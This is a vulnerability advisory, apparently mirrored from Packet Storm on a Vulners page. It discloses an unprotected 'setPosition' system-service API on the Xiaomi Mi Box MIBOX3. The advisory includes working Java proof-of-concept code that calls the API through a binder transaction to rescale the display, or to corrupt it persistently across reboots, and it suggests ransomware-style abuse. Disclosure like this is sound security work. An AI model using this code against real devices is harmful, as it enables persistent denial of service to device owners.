Lucene search
K

Xiaomi Mi Box Display Corruption

🗓️ 27 Nov 2019 00:00:00Reported by Bug ReporterType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 242 Views

Vulnerability in Xiaomi Mi Box MIBOX3 allows display corruption through custom API, leading to potential ransomware or disabling functionalities

Code
`HI,  
  
  
  
  
I would like to report a security vulnerability in Xiaomi Mi Box (model: MIBOX3, build.id : MHC19).   
  
The vulnerability allows rescaling and corrupting the display without any privilege requirement, thus creating an opportunity for a non-privilege malicious app to disable the basic functionalities that the TV box is offering or can even be used for ransomeware purpose - e.g., each time a target streaming app is launched, the malicious app can corrupt the display.   
  
  
  
  
  
This vulnerability is due to the following:  
  
Xiaomi introduces a (non-protected) custom API in the SystemControl system service ¡°setPosition¡± which takes as arguments 4 integers. Once invoked with maliciously set parameters, the system display will be effected; e.g., (500, 500, 1000,1000) for rescaling the display and (1000,1000,1000,1000) for corrupting the display. Note that the display corruption will be persistent across reboots, making it very difficult to be fixed without a hard reset.  
  
  
  
  
We can exploit this API as follows:  
  
Class ServiceManager = Class.forName("android.os.ServiceManager");  
  
Method getService = ServiceManager.getMethod("getService", String.class);  
  
mRemote = (IBinder) getService.invoke(null,"system_control");  
  
Parcel localParcel1 = Parcel.obtain();  
  
Parcel localParcel2 = Parcel.obtain();  
  
localParcel1.writeInterfaceToken("droidlogic.ISystemControlService");  
  
localParcel1.writeInt(500);  
  
localParcel1.writeInt(500);  
  
localParcel1.writeInt(1000);  
  
localParcel1.writeInt(1000);   
  
mRemote.transact(16, localParcel1, localParcel2, 0); // 16 corresponds to the API setPosition  
  
localParcel2.recycle();  
  
localParcel1.recycle();  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Nov 2019 00:00Current
0.5Low risk
Vulners AI Score0.5
242